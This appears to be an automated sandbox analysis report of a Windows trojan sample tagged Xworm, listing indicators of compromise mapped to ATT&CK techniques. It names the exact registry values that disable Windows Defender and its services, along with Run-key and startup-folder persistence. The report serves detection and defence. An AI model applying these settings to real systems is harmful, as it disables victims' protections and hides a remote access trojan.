bdaejec | f258e1faa4cbb6c3976d2e99e55f9a97da51d197f9fd9ba58553c2dd2541999e

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 5024 created 632	5024	powershell.EXE	5
PID 1880 created 632	1880	powershell.EXE	5

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 25 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2352	powershell.exe
4936	powershell.exe
2312	powershell.exe
4256	powershell.exe
5788	powershell.exe
3552	powershell.exe
5024	powershell.EXE
4132	powershell.exe
1172	powershell.exe
240	powershell.exe
1880	powershell.exe
1268	powershell.exe
5620	powershell.exe
5116	powershell.exe
1904	powershell.exe
2100	powershell.exe
1940	powershell.exe
5956	powershell.exe
2888	powershell.exe
3776	powershell.exe
1880	powershell.EXE
1156	powershell.exe
1964	powershell.exe
1672	powershell.exe
2600	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
4864	netsh.exe

ASPack v2.12-2.42 1 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral2/files/0x001b00000002b0ff-60.dat	aspack_v212_v242

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\x69s.lnk	x69s.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\x69s.lnk	x69s.exe

Executes dropped EXE 6 IoCs

pid	Process
2180	wlanext.exe
4564	x69Install.exe
1000	x69Install.exe
4252	iyMbXS.exe
3780	x69..exe
5008	x69s.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx	svchost.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2329104403-2882594830-3136665766-1000\Software\Microsoft\Windows\CurrentVersion\Run\x69s = "C:\\Users\\Admin\\AppData\\Roaming\\x69s.exe"	wlanext.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2329104403-2882594830-3136665766-1000\Software\Microsoft\Windows\CurrentVersion\Run\x69Install = "C:\\Users\\Admin\\AppData\\Roaming\\x69Install.exe"	wlanext.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2329104403-2882594830-3136665766-1000\Software\Microsoft\Windows\CurrentVersion\Run\x69. = "C:\\Users\\Admin\\AppData\\Roaming\\x69..exe"	wlanext.exe

Modifies Security services 2 TTPs 4 IoCs

Modifies the startup behavior of a security service.

Modify Registry

persistence privilege_escalation

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdFilter\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisDrv\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisSvc\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdBoot\Start = "4"	reg.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Tasks\x69.	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\System32\Tasks\x69s	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 5024 set thread context of 3128	5024	powershell.EXE	106
PID 1880 set thread context of 5208	1880	powershell.EXE	114

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\EQUATION\eqnedt32.exe	iyMbXS.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Paint_10.2104.17.0_x64__8wekyb3d8bbwe\PaintApp\mspaint.exe	iyMbXS.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsCamera_2020.503.58.0_x64__8wekyb3d8bbwe\WindowsCamera.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\pack200.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\msoasb.exe	iyMbXS.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.PowerAutomateDesktop_1.0.65.0_x64__8wekyb3d8bbwe\PAD.Console.Host.exe	iyMbXS.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_4.6.3102.0_x64__8wekyb3d8bbwe\Microsoft.MicrosoftSolitaireCollection.exe	iyMbXS.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\createdump.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\policytool.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\ONENOTEM.EXE	iyMbXS.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\DCF\Common.ShowHelp.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Mozilla Firefox\nmhproxy.exe	iyMbXS.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.6.10571.0_x64__8wekyb3d8bbwe\wt.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\pack200.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\unpack200.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Client\AppVDllSurrogate32.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\133.0.6943.60\Installer\setup.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\unpack200.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\excelcnv.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Windows Mail\wabmig.exe	iyMbXS.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\64BitMAPIBroker.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javap.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\SDXHelper.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\FLTLDR.EXE	iyMbXS.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\ssvagent.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\javacpl.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Mozilla Firefox\updater.exe	iyMbXS.exe
File opened for modification	C:\Program Files (x86)\Windows Mail\wabmig.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\javaws.exe	iyMbXS.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\uninstall.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\133.0.6943.60\chrome_pwa_launcher.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\jp2launcher.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\MSOHTMED.EXE	iyMbXS.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.XboxSpeechToTextOverlay_1.17.29001.0_x64__8wekyb3d8bbwe\SpeechToTextOverlay64-Retail.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javac.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javapackager.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\java.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\servertool.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\javaws.exe	iyMbXS.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.XboxIdentityProvider_12.50.6001.0_x64__8wekyb3d8bbwe\XboxIdp.exe	iyMbXS.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\wow_helper.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.NetFX40.exe	iyMbXS.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Todos_0.33.33351.0_x64__8wekyb3d8bbwe\Todo.exe	iyMbXS.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_1.0.36.0_x64__8wekyb3d8bbwe\Time.exe	iyMbXS.exe
File opened for modification	C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_321.14700.0.9_x64__cw5n1h2txyewy\Dashboard\Widgets.exe	iyMbXS.exe
File opened for modification	C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\servertool.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Integration\Integrator.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\MSOXMLED.EXE	iyMbXS.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.2103.1172.0_x64__8wekyb3d8bbwe\PilotshubApp.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\ktab.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\orbd.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\Wordconv.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Microsoft Office\Office16\OSPPREARM.EXE	iyMbXS.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jcmd.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jinfo.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\jabswitch.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\javacpl.exe	iyMbXS.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.VP9VideoExtensions_1.0.41182.0_x64__8wekyb3d8bbwe\codecpacks.VP9.exe	iyMbXS.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\MSQRY32.EXE	iyMbXS.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\PPTICO.EXE	iyMbXS.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\133.0.6943.60\os_update_handler.exe	iyMbXS.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	x69Install.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	x69Install.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iyMbXS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	x69..exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Delays execution with timeout.exe 1 IoCs

pid	Process
5940	timeout.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Mon, 26 May 2025 01:15:00 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\ca-4e-31-0d-8c-87\WpadDecisionTime = a083bf98dbcddb01	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\ca-4e-31-0d-8c-87\WpadDecisionReason = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1748222100"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\ca-4e-31-0d-8c-87	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\ca-4e-31-0d-8c-87\WpadDecision = "0"	svchost.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2260	schtasks.exe
4548	schtasks.exe
5628	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2352	powershell.exe
2352	powershell.exe
4936	powershell.exe
4936	powershell.exe
2312	powershell.exe
2312	powershell.exe
5024	powershell.EXE
4256	powershell.exe
5024	powershell.EXE
4256	powershell.exe
1880	powershell.EXE
1880	powershell.EXE
5024	powershell.EXE
3128	dllhost.exe
3128	dllhost.exe
3128	dllhost.exe
3128	dllhost.exe
3128	dllhost.exe
3128	dllhost.exe
3128	dllhost.exe
3128	dllhost.exe
1880	powershell.EXE
3128	dllhost.exe
3128	dllhost.exe
1880	powershell.EXE
5208	dllhost.exe
5208	dllhost.exe
3128	dllhost.exe
3128	dllhost.exe
5208	dllhost.exe
5208	dllhost.exe
5788	powershell.exe
5788	powershell.exe
5208	dllhost.exe
5208	dllhost.exe
4132	powershell.exe
5208	dllhost.exe
5208	dllhost.exe
4132	powershell.exe
5208	dllhost.exe
5208	dllhost.exe
5208	dllhost.exe
5208	dllhost.exe
5208	dllhost.exe
5208	dllhost.exe
5208	dllhost.exe
5208	dllhost.exe
1904	powershell.exe
1904	powershell.exe
5208	dllhost.exe
5208	dllhost.exe
5208	dllhost.exe
5208	dllhost.exe
1156	powershell.exe
5208	dllhost.exe
5208	dllhost.exe
1156	powershell.exe
5208	dllhost.exe
5208	dllhost.exe
5208	dllhost.exe
5208	dllhost.exe
5208	dllhost.exe
5208	dllhost.exe
1172	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3312	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	628	MasonGod.exe
Token: SeBackupPrivilege	4412	vssvc.exe
Token: SeRestorePrivilege	4412	vssvc.exe
Token: SeAuditPrivilege	4412	vssvc.exe
Token: SeDebugPrivilege	2352	powershell.exe
Token: SeDebugPrivilege	4936	powershell.exe
Token: SeDebugPrivilege	2180	wlanext.exe
Token: SeDebugPrivilege	2180	wlanext.exe
Token: SeDebugPrivilege	2312	powershell.exe
Token: SeDebugPrivilege	5024	powershell.EXE
Token: SeDebugPrivilege	4256	powershell.exe
Token: SeDebugPrivilege	1880	powershell.EXE
Token: SeDebugPrivilege	5024	powershell.EXE
Token: SeDebugPrivilege	3128	dllhost.exe
Token: SeShutdownPrivilege	3312	Explorer.EXE
Token: SeCreatePagefilePrivilege	3312	Explorer.EXE
Token: SeShutdownPrivilege	3312	Explorer.EXE
Token: SeCreatePagefilePrivilege	3312	Explorer.EXE
Token: SeShutdownPrivilege	3312	Explorer.EXE
Token: SeCreatePagefilePrivilege	3312	Explorer.EXE
Token: SeShutdownPrivilege	3312	Explorer.EXE
Token: SeCreatePagefilePrivilege	3312	Explorer.EXE
Token: SeShutdownPrivilege	3312	Explorer.EXE
Token: SeCreatePagefilePrivilege	3312	Explorer.EXE
Token: SeDebugPrivilege	1880	powershell.EXE
Token: SeDebugPrivilege	5208	dllhost.exe
Token: SeDebugPrivilege	5788	powershell.exe
Token: SeDebugPrivilege	4132	powershell.exe
Token: SeShutdownPrivilege	3312	Explorer.EXE
Token: SeCreatePagefilePrivilege	3312	Explorer.EXE
Token: SeShutdownPrivilege	3312	Explorer.EXE
Token: SeCreatePagefilePrivilege	3312	Explorer.EXE
Token: SeShutdownPrivilege	3312	Explorer.EXE
Token: SeCreatePagefilePrivilege	3312	Explorer.EXE
Token: SeShutdownPrivilege	3312	Explorer.EXE
Token: SeCreatePagefilePrivilege	3312	Explorer.EXE
Token: SeShutdownPrivilege	3312	Explorer.EXE
Token: SeCreatePagefilePrivilege	3312	Explorer.EXE
Token: SeShutdownPrivilege	3312	Explorer.EXE
Token: SeCreatePagefilePrivilege	3312	Explorer.EXE
Token: SeDebugPrivilege	5008	x69s.exe
Token: SeDebugPrivilege	1904	powershell.exe
Token: SeDebugPrivilege	1156	powershell.exe
Token: SeDebugPrivilege	1172	powershell.exe
Token: SeDebugPrivilege	240	powershell.exe
Token: SeDebugPrivilege	2100	powershell.exe
Token: SeShutdownPrivilege	3312	Explorer.EXE
Token: SeCreatePagefilePrivilege	3312	Explorer.EXE
Token: SeShutdownPrivilege	3312	Explorer.EXE
Token: SeCreatePagefilePrivilege	3312	Explorer.EXE
Token: SeDebugPrivilege	1940	powershell.exe
Token: SeDebugPrivilege	1880	powershell.exe
Token: SeDebugPrivilege	1268	powershell.exe
Token: SeAuditPrivilege	2496	svchost.exe
Token: SeDebugPrivilege	5620	powershell.exe
Token: SeDebugPrivilege	5956	powershell.exe
Token: SeDebugPrivilege	5116	powershell.exe
Token: SeDebugPrivilege	1964	powershell.exe
Token: SeDebugPrivilege	3552	powershell.exe
Token: SeDebugPrivilege	2888	powershell.exe
Token: SeDebugPrivilege	1672	powershell.exe
Token: SeDebugPrivilege	3776	powershell.exe
Token: SeShutdownPrivilege	3312	Explorer.EXE
Token: SeCreatePagefilePrivilege	3312	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 628 wrote to memory of 2352	628	MasonGod.exe	83
PID 628 wrote to memory of 2352	628	MasonGod.exe	83
PID 628 wrote to memory of 4936	628	MasonGod.exe	85
PID 628 wrote to memory of 4936	628	MasonGod.exe	85
PID 628 wrote to memory of 4004	628	MasonGod.exe	88
PID 628 wrote to memory of 4004	628	MasonGod.exe	88
PID 4004 wrote to memory of 5940	4004	cmd.exe	90
PID 4004 wrote to memory of 5940	4004	cmd.exe	90
PID 2180 wrote to memory of 2312	2180	wlanext.exe	91
PID 2180 wrote to memory of 2312	2180	wlanext.exe	91
PID 2180 wrote to memory of 2260	2180	wlanext.exe	93
PID 2180 wrote to memory of 2260	2180	wlanext.exe	93
PID 2764 wrote to memory of 4564	2764	cmd.exe	97
PID 2764 wrote to memory of 4564	2764	cmd.exe	97
